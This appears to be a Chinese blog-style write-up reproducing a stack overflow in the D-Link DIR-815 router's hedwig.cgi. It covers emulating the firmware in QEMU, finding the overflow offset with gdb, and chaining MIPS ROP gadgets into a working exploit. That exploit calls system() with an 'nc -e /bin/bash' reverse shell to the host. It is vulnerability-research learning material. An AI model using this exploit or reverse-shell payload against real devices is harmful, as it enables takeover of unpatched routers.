前言

固件下载地址:legacyfiles.us.dlink.com - /DIR-815/REVA/FIRMWARE/,下载1.01版本。

漏洞描述:

DIR-815 cgibi中hedwig_cgi函数中处理HTTP 头中 Cookie 字段中 uid 的值时存在栈溢出漏洞

binwalk解包

binwalk -Me firmware.bin

解包后结构如下:

固件模拟(系统级)

架构定位

进入文件系统,查看固件架构:

file bosybox

32为mips小端序:

模拟依赖下载

进行系统级模拟需要下载mips架构的内核镜像和文件系统:(因为是小端序,所以选择mipsel)

下载地址:Index of /~aurel32/qemu/mipsel (debian.org)

debian_squeeze_mipsel_standard.qcow2是文件系统,vmlinux-3.2.0-4-4kc-malta是内核镜像。

在宿主机中使用wget命令下载,随便找一个目录下载 ,只不过这个目录在后面也要同时存放qemu的启动脚本start.sh

wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta

wget https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2

启动qemu虚拟机

然后在该目录编辑qemu启动脚本start.sh

#!/bin/sh
sudo qemu-system-mipsel \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic \
-net tap \
-nographic \

给启动脚本加上可执行权限:chmod +x start.sh

运行过程中提示输入用户名和密码,都是root,即可登录qemu系统。

通信

为了实现宿主机和qemu虚拟机之间的通信,我们需要再宿主机上创建一个虚拟网卡。

安装依赖库:

sudo apt-get install bridge-utils uml-utilities

在宿主机编写如下文件保存为net.sh并运行,也是放在之前start.sh同级目录下:

#!/bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens32 -j MASQUERADE # 这里的ens32需要换成#自己的网卡号,比如说我的就是ens32
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0

加上可执行权限并运行后,使用ifconfig指令查看网卡配置是否成功。

然后需要把qemu虚拟机也接入这个虚拟网卡中,这样二者就能通信了。

qemu虚拟机中分别执行以下两条指令:

# 给虚拟机的eth0网卡分配静态ip地址
ifconfig eth0 192.168.100.2 netmask 255.255.255.0

# 配置虚拟机的默认网关,也就是将网关配置为宿主机的tap0
route add default gw 192.168.100.254

ok,在qemu中用ifconfig查看配置:eth0网卡已经分配了我们定义的静态ip。

测试宿主机和虚拟机之间的通信:

宿主机:ping 192.168.100.2

qemu虚拟机中:ping 192.168.100.254

ok,都是可以正常连通的。

文件传输及虚拟机设置

可以通信后,我们在宿主机上使用scp指令将解压出来的squashfs-root文件夹上传到qemu系统中的/root路径下:

sudo scp -r squashfs-root/ root@192.168.100.2:/root

然后在qemu虚拟系统中将squashfs-root文件夹下的库文件替换掉原有的(使用下面的脚本),此操作会改变文件系统,如果不小心退出了虚拟系统,再次启动qemu时会失败,原因是因为改变了文件系统的内容。此时需要使用新的文件系统,因此在此操作之前可以先备份一份。

squashfs-root编写auto.sh并执行:

#!/bin/sh
cp sbin/httpd /
cp -rf htdocs/ /
rm -rf /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi

接下来在qemu虚拟系统的根目录( / )下,创建一个名为conf的文件,此文件是httpd服务的配置文件。内容如下:

Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 #网卡
Address 192.168.100.2 #qemu的ip地址
Port "4322" #对应web访问端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}

启动httpd服务

在qemu虚拟机的根目录(/)下:./httpd -f conf

在宿主机的浏览器中访问:192.168.100.2:4322/hedwig.cgi

发现网页报错,这是因为hedwig.cgi服务没有收到请求,需要提前配置qemu虚拟环境中的REQUEST_METHOD等方法,因为httpd是读取的环境变量,这里就直接通过环境变量进行设置。

在qemu虚拟机中的根目录下编写setenv.sh脚本并运行:

#!/bin/sh
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
export HTTP_COOKIE="uid=1234"

这里在qemu虚拟系统中运行hedwig.cgi,再次访问http://192.168.100.2:4321/hedwig.cgi就可以正常收到内容了:

到这里环境搭建完成,可以开始调试了。: )


调试

调试工具下载

在宿主机中安装异架构的gdb:sudo apt install gdb-multiarch

在qemu中使用gdbserver来启动程序,首先也需要安装,在如下网址中找到编译好的异构gdbserver: https://github.com/rapid7/embedded-tools/tree/master/binaries

在宿主机中下载好上面红框中的gdbserver后,使用scp传到qemu虚拟机中:

sudo scp /mnt/hgfs/iot/gdbserver.mipsle root@192.168.100.2:/root/

gdbserver的用法如下:

./gdbserver 远程gdb的IP:port ./test

例如这里是用的:

./gdbserver 192.168.100.254:8888 /htdocs/web/hedwig.cgi

确定栈溢出偏移

因为hedwig.cgi是链接到cgibin文件的:

所以只需要将cgibin文件放到IDA中分析就行。通过查找资料和分析得知,程序的溢出点和HTTP_COOKIE字段有关。通过查找字符串引用,在IDA中查看伪代码如下:

它存在于sess_get_uid函数,getenv获取变量信息,因此可以通过设置全局变量来控制此参数。

查看sess_get_uid函数的引用,在hedwigcgi_main函数中找到如下内容:

此处值得注意的是sprintf将string和字符串拼接,放入到v27变量中,并未对长度进行检查。所以存在栈溢出。

总结一下函数功能就是:sess_get_uid函数就是http请求中cookie字段中uid=后的值进行了提取,然后通过sobj_get_string进行简单检测之后给sprintf,由于cookie字段可控,所以可以构造payload造成缓冲区溢出。

生成字符串序列:

cyclic 2000

复制下来之后粘贴到如下的调试脚本中,XXXXXXXXXXXXXXXXX的位置就是cyclic2000生成的乱序字符串。

在qemu虚拟机的根目录下编写启动脚本:

#!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE=$(python -c "print 'uid=' + 'XXXXXXXXXXXXXXXXXXXX'")
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=4322"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi

运行脚本后,在宿主机依次使用如下指令进行调试:

gdb-multiarch

target remote 192.168.100.2:8888

# 加载cgibin文件
file ../htdocs/cgibin

# 开始运行调试
c

发现程序出现段错误,错误地址为:0x646b6161

查看偏移:

cyclic -l 0x646b6161

到此为止已经确定偏移为1009.

修改exp.sh脚本,我们验证以下是不是1009:

#!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE=$(python -c "print 'uid=' + 'A'*1009 + 'BBBB'")
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=4322"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi

gdb-multiarch中下断点后调试:断点位置是0x00409A28

函数返回前我们可以控制s0-s8的寄存器,这也会是我们之后利用的重点:

可以看到最后会调用0x42424242,所以确定偏移就是1009.

ROP构造

目的是为了劫持返回地址,调用libc中的system。但为了避免cache incoherency机制,这里使用system构造反弹shell,而非直接调用shellcode。首先要确定可以调用system的libc,使用vmmap查看得知为libc.so.0:

当然为了使libc基址固定,我们需要关闭qemu虚拟机的aslr保护:

echo 0 > /proc/sys/kernel/randomize_va_space

这样libc基址就是0x77f3400。而libc.so.0是链接到libuClibc-0.9.30.1.so:

所以我们把libuClibc-0.9.30.1.so放入IDA中。

我们先找到system的基址0x53200

ok,接下来就是利用IDA寻找gadget

复制以下代码到ida的plugins目录中,并命名为mipsrop.py:

ida/plugins/mipsrop/mipsrop.py at master · grayhatacademy/ida · GitHub

修改82行from shims import ida_shimsimport ida_shims

复制以下代码到ida的plugins目录中,并命名为ida_shims.py:

import idc
import idaapi

try:
import ida_bytes
except ImportError:
ida_bytes = None

try:
import ida_name
except ImportError:
ida_name = None

try:
import ida_kernwin
except ImportError:
ida_kernwin = None

try:
import ida_nalt
except ImportError:
ida_nalt = None

try:
import ida_ua
except ImportError:
ida_ua = None

try:
import ida_funcs
except ImportError:
ida_funcs = None


def _get_fn_by_version(lib, curr_fn, archive_fn, archive_lib=None):
if idaapi.IDA_SDK_VERSION >= 700:
try:
return getattr(lib, curr_fn)
except AttributeError:
raise Exception('%s is not a valid function in %s' % (curr_fn,
lib))
use_lib = lib if archive_lib is None else archive_lib
try:
return getattr(use_lib, archive_fn)
except AttributeError:
raise Exception('%s is not a valid function in %s' % (archive_fn,
use_lib))
def print_insn_mnem(ea):
fn = _get_fn_by_version(idc, 'print_insn_mnem', 'GetMnem')
return fn(ea)

def print_operand(ea, n):
fn = _get_fn_by_version(idc, 'print_operand', 'GetOpnd')
return fn(ea, n)

def define_local_var(start, end, location, name):
fn = _get_fn_by_version(idc, 'define_local_var', 'MakeLocal')
return fn(start, end, location, name)

def find_func_end(ea):
fn = _get_fn_by_version(idc, 'find_func_end', 'FindFuncEnd')
return fn(ea)


def is_code(flag):
fn = _get_fn_by_version(ida_bytes, 'is_code', 'isCode', idaapi)
return fn(flag)


def get_full_flags(ea):
fn = _get_fn_by_version(ida_bytes, 'get_full_flags', 'getFlags', idaapi)
return fn(ea)


def get_name(ea):
fn = _get_fn_by_version(idc, 'get_name', 'Name')

if idaapi.IDA_SDK_VERSION > 700:
return fn(ea, ida_name.GN_VISIBLE)
return fn(ea)


def get_func_off_str(ea):
fn = _get_fn_by_version(idc, 'get_func_off_str', 'GetFuncOffset')
return fn(ea)


def jumpto(ea, opnum=-1, uijmp_flags=0x0001):
fn = _get_fn_by_version(ida_kernwin, 'jumpto', 'Jump', idc)
if idaapi.IDA_SDK_VERSION >= 700:
return fn(ea, opnum, uijmp_flags)
return fn(ea)


def ask_yn(default, format_str):
fn = _get_fn_by_version(ida_kernwin, 'ask_yn', 'AskYN', idc)
return fn(default, format_str)


def ask_file(for_saving, default, dialog):
fn = _get_fn_by_version(ida_kernwin, 'ask_file', 'AskFile', idc)
return fn(for_saving, default, dialog)


def get_func_attr(ea, attr):
fn = _get_fn_by_version(idc, 'get_func_attr', 'GetFunctionAttr')
return fn(ea, attr)


def get_name_ea_simple(name):
fn = _get_fn_by_version(idc, 'get_name_ea_simple', 'LocByName')
return fn(name)


def next_head(ea, maxea=4294967295):
fn = _get_fn_by_version(idc, 'next_head', 'NextHead')
return fn(ea, maxea)


def get_screen_ea():
fn = _get_fn_by_version(idc, 'get_screen_ea', 'ScreenEA')
return fn()


def choose_func(title):
fn = _get_fn_by_version(idc, 'choose_func', 'ChooseFunction')
return fn(title)


def ask_ident(default, prompt):
fn = _get_fn_by_version(ida_kernwin, 'ask_str', 'AskIdent', idc)
if idaapi.IDA_SDK_VERSION >= 700:
return fn(default, ida_kernwin.HIST_IDENT, prompt)
return fn(default, prompt)


def set_name(ea, name):
fn = _get_fn_by_version(idc, 'set_name', 'MakeName')
if idaapi.IDA_SDK_VERSION >= 700:
return fn(ea, name, ida_name.SN_CHECK)
return fn(ea, name)


def get_wide_dword(ea):
fn = _get_fn_by_version(idc, 'get_wide_dword', 'Dword')
return fn(ea)


def get_strlit_contents(ea):
fn = _get_fn_by_version(idc, 'get_strlit_contents', 'GetString')
return fn(ea)


def get_func_name(ea):
fn = _get_fn_by_version(idc, 'get_func_name', 'GetFunctionName')
return fn(ea)


def get_first_seg():
fn = _get_fn_by_version(idc, 'get_first_seg', 'FirstSeg')
return fn()


def get_segm_attr(segea, attr):
fn = _get_fn_by_version(idc, 'get_segm_attr', 'GetSegmentAttr')
return fn(segea, attr)


def get_next_seg(ea):
fn = _get_fn_by_version(idc, 'get_next_seg', 'NextSeg')
return fn(ea)


def is_strlit(flags):
fn = _get_fn_by_version(ida_bytes, 'is_strlit', 'isASCII', idc)
return fn(flags)


def create_strlit(start, lenth):
fn = _get_fn_by_version(ida_bytes, 'create_strlit', 'MakeStr', idc)
if idaapi.IDA_SDK_VERSION >= 700:
return fn(start, lenth, ida_nalt.STRTYPE_C)
return fn(start, idc.BADADDR)


def is_unknown(flags):
fn = _get_fn_by_version(ida_bytes, 'is_unknown', 'isUnknown', idc)
return fn(flags)


def is_byte(flags):
fn = _get_fn_by_version(ida_bytes, 'is_byte', 'isByte', idc)
return fn(flags)


def create_dword(ea):
fn = _get_fn_by_version(ida_bytes, 'create_data', 'MakeDword', idc)
if idaapi.IDA_SDK_VERSION >= 700:
return fn(ea, ida_bytes.FF_DWORD, 4, idaapi.BADADDR)
return fn(ea)


def op_plain_offset(ea, n, base):
fn = _get_fn_by_version(idc, 'op_plain_offset', 'OpOff')
return fn(ea, n, base)


def next_addr(ea):
fn = _get_fn_by_version(ida_bytes, 'next_addr', 'NextAddr', idc)
return fn(ea)


def can_decode(ea):
fn = _get_fn_by_version(ida_ua, 'can_decode', 'decode_insn', idaapi)
return fn(ea)


def get_operands(insn):
if idaapi.IDA_SDK_VERSION >= 700:
return insn.ops
return idaapi.cmd.Operands


def get_canon_feature(insn):
if idaapi.IDA_SDK_VERSION >= 700:
return insn.get_canon_feature()
return idaapi.cmd.get_canon_feature()


def get_segm_name(ea):
fn = _get_fn_by_version(idc, 'get_segm_name', 'SegName')
return fn(ea)


def add_func(ea):
fn = _get_fn_by_version(ida_funcs, 'add_func', 'MakeFunction', idc)
return fn(ea)


def create_insn(ea):
fn = _get_fn_by_version(idc, 'create_insn', 'MakeCode')
return fn(ea)


def get_segm_end(ea):
fn = _get_fn_by_version(idc, 'get_segm_end', 'SegEnd')
return fn(ea)


def get_segm_start(ea):
fn = _get_fn_by_version(idc, 'get_segm_start', 'SegStart')
return fn(ea)


def decode_insn(ea):
fn = _get_fn_by_version(ida_ua, 'decode_insn', 'decode_insn', idaapi)
if idaapi.IDA_SDK_VERSION >= 700:
insn = ida_ua.insn_t()
fn(insn, ea)
return insn
fn(ea)
return idaapi.cmd


def get_bookmark(index):
fn = _get_fn_by_version(idc, 'get_bookmark', 'GetMarkedPos')
return fn(index)


def get_bookmark_desc(index):
fn = _get_fn_by_version(idc, 'get_bookmark_desc', 'GetMarkComment')
return fn(index)


def set_color(ea, what, color):
fn = _get_fn_by_version(idc, 'set_color', 'SetColor')
return fn(ea, what, color)


def msg(message):
fn = _get_fn_by_version(ida_kernwin, 'msg', 'Message', idc)
return fn(message)


def get_highlighted_identifier():
fn = _get_fn_by_version(ida_kernwin, 'get_highlight',
'get_highlighted_identifier', idaapi)

if idaapi.IDA_SDK_VERSION >= 700:
viewer = ida_kernwin.get_current_viewer()
highlight = fn(viewer)
if highlight and highlight[1]:
return highlight[0]
return fn()


def start_ea(obj):
if not obj:
return None

try:
return obj.startEA
except AttributeError:
return obj.start_ea


def end_ea(obj):
if not obj:
return None

try:
return obj.endEA
except AttributeError:
return obj.end_ea


def set_func_flags(ea, flags):
fn = _get_fn_by_version(idc, 'set_func_attr', 'SetFunctionFlags')
if idaapi.IDA_SDK_VERSION >= 700:
return fn(ea, idc.FUNCATTR_FLAGS, flags)
return fn(ea, flags)


def get_func_flags(ea):
fn = _get_fn_by_version(idc, 'get_func_attr', 'GetFunctionFlags')
if idaapi.IDA_SDK_VERSION >= 700:
return fn(ea, idc.FUNCATTR_FLAGS)
return fn(ea)

之后在idapython输入框中输入:

import mipsrop
mipsrop = mipsrop.MIPSROPFinder()

然后输入mipsrop.find("")即可查询可用的gadget。

gadget1

根据大佬博客:由于基地址为0x77f34000,system地址为0x00053200,两者相加会出现00造成截断,为了利用,可以先将system-1,避免截断的问题。

因此我们查找addiu $s0,1指令,选用gadgets10x158c8

因为我们可以控制s0-s8寄存器,利用这个gadget1,我们将system_addr-1传给s0寄存器。由于mips架构cpu的流水线并行机制,当我们执行jalr $t9时,cpu也会执行addiu $s0,1,这里就到了真正的system_addr

gadget2

现在我们还需要给system函数传参。
利用mipsrop.stackfinder,选用gadget20x159cc。因为其既可以跳转至system函数,又可以通过s5给system函数传参:

这个gadget2也会有流水线机制。

exp

有了上面两个gadget之后,整体流程如下:

  • 劫持地址–>0x158c8(给s0赋值为system函数地址,跳转至s5)
  • 0x159cc(给system函数传参并跳转执行)

在宿主机中编写payload.py

from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x158c8
gadget2 = 0x159cc
cmd = 'nc -e /bin/bash 192.168.100.254 9999' # 反弹shell到宿主机的9999端口
padding = 'A' * 973
padding += p32(base_addr + system_addr_1) # s0
padding += 'A' * 4 # s1
padding += 'A' * 4 # s2
padding += 'A' * 4 # s3
padding += 'A' * 4 # s4
padding += p32(base_addr+gadget2) # s5
padding += 'A' * 4 # s6
padding += 'A' * 4 # s7
padding += 'A' * 4 # fp
padding += p32(base_addr + gadget1) # ra
padding += 'B' * 0x10
padding += cmd
f = open("context",'wb')
f.write(padding)
f.close()

运行后生成context文件,将congtext上传到qemu,然后运行hedwig.cgi服务:

#!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat context`"
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi
#echo "uid=4321"|/htdocs/web/hedwig.cgi

运行这个exp.sh,然后再宿主机中监听:

nc -lvnp 9999

最后可以得到shell:


反思总结

  • 提高仿真能力,仿真永远是找漏洞第一步,并且会比较繁琐,虽然也有现成的工具可以使用,但是我认为应该学习qemu用法,以应对更加复杂的环境
  • 复现要耐得住寂寞,复现一个漏洞可能时间会很长,但是希望不要中途放弃,不然学到的东西会大大减少
  • 多上网查找资料,看看大佬们的博客

参考: